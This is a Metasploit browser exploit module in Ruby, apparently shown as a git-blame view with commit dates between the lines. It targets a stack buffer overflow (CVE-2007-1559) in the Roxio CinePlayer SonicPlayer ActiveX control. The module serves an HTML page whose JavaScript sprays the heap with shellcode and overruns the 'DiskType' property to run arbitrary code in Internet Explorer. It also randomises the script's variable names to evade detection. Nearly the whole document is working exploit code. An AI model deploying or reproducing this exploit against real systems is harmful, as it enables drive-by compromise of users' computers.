2010-04-30 08:40:19 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-04-30 08:40:19 +00:00
|
|
|
##
|
|
|
|
|
|
2009-12-15 18:47:29 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = NormalRanking
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
|
super(update_info(info,
|
|
|
|
|
'Name' => 'Roxio CinePlayer ActiveX Control Buffer Overflow',
|
|
|
|
|
'Description' => %q{
|
|
|
|
|
This module exploits a stack-based buffer overflow in SonicPlayer ActiveX
|
|
|
|
|
control (SonicMediaPlayer.dll) 3.0.0.1 installed by Roxio CinePlayer 3.2.
|
|
|
|
|
By setting an overly long value to 'DiskType', an attacker can overrun
|
|
|
|
|
a buffer and execute arbitrary code.
|
|
|
|
|
},
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Author' => [ 'Trancer <mtrancer[at]gmail.com>' ],
|
|
|
|
|
'References' =>
|
|
|
|
|
[
|
|
|
|
|
[ 'CVE', '2007-1559' ],
|
2016-07-15 17:00:31 +00:00
|
|
|
[ 'OSVDB', '34779' ],
|
2013-08-30 21:28:54 +00:00
|
|
|
[ 'BID', '23412' ],
|
|
|
|
|
],
|
|
|
|
|
'DefaultOptions' =>
|
|
|
|
|
{
|
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
|
},
|
|
|
|
|
'Payload' =>
|
|
|
|
|
{
|
|
|
|
|
'Space' => 1024,
|
|
|
|
|
'BadChars' => "\x00\x09\x0a\x0d'\\",
|
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
|
},
|
|
|
|
|
'Platform' => 'win',
|
|
|
|
|
'Targets' =>
|
|
|
|
|
[
|
|
|
|
|
[ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 200, 'Ret' => 0x0C0C0C0C } ]
|
|
|
|
|
],
|
|
|
|
|
'DisclosureDate' => 'Apr 11 2007',
|
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
end
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def autofilter
|
|
|
|
|
false
|
|
|
|
|
end
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def check_dependencies
|
|
|
|
|
use_zlib
|
|
|
|
|
end
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
# Re-generate the payload
|
|
|
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Encode the shellcode
|
|
|
|
|
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Setup exploit buffers
|
|
|
|
|
nops = Rex::Text.to_unescape([target.ret].pack('V'))
|
|
|
|
|
ret = Rex::Text.uri_encode([target.ret].pack('L'))
|
|
|
|
|
blocksize = 0x40000
|
|
|
|
|
fillto = 500
|
|
|
|
|
offset = target['Offset']
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Randomize the javascript variable names
|
|
|
|
|
sonic = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
j_shellcode = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
j_nops = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
j_headersize = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
j_slackspace = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
j_fillblock = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
j_block = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
j_memory = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
j_counter = rand_text_alpha(rand(30) + 2)
|
|
|
|
|
j_ret = rand_text_alpha(rand(100) + 1)
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Build out the message
|
|
|
|
|
content = %Q|
|
2009-12-15 18:47:29 +00:00
|
|
|
<html>
|
|
|
|
|
<object classid='clsid:9F1363DA-0220-462E-B923-9E3C9038896F' id='#{sonic}'></object>
|
|
|
|
|
<script language='javascript'>
|
2013-08-30 21:28:54 +00:00
|
|
|
#{j_shellcode}=unescape('#{shellcode}');
|
|
|
|
|
#{j_nops}=unescape('#{nops}');
|
|
|
|
|
#{j_headersize}=20;
|
|
|
|
|
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
|
|
|
|
|
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
|
|
|
|
|
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
|
|
|
|
|
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
|
|
|
|
|
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
|
|
|
|
|
#{j_memory}=new Array();
|
|
|
|
|
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
|
|
|
|
|
#{j_ret}='';
|
|
|
|
|
for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');
|
|
|
|
|
#{sonic}.DiskType(#{j_ret});
|
2009-12-15 18:47:29 +00:00
|
|
|
</script>
|
|
|
|
|
</html>
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Sending #{self.name}")
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Transmit the response to the client
|
|
|
|
|
send_response_html(cli, content)
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Handle the payload
|
|
|
|
|
handler(cli)
|
|
|
|
|
end
|
2009-12-15 18:47:29 +00:00
|
|
|
|
|
|
|
|
end
|
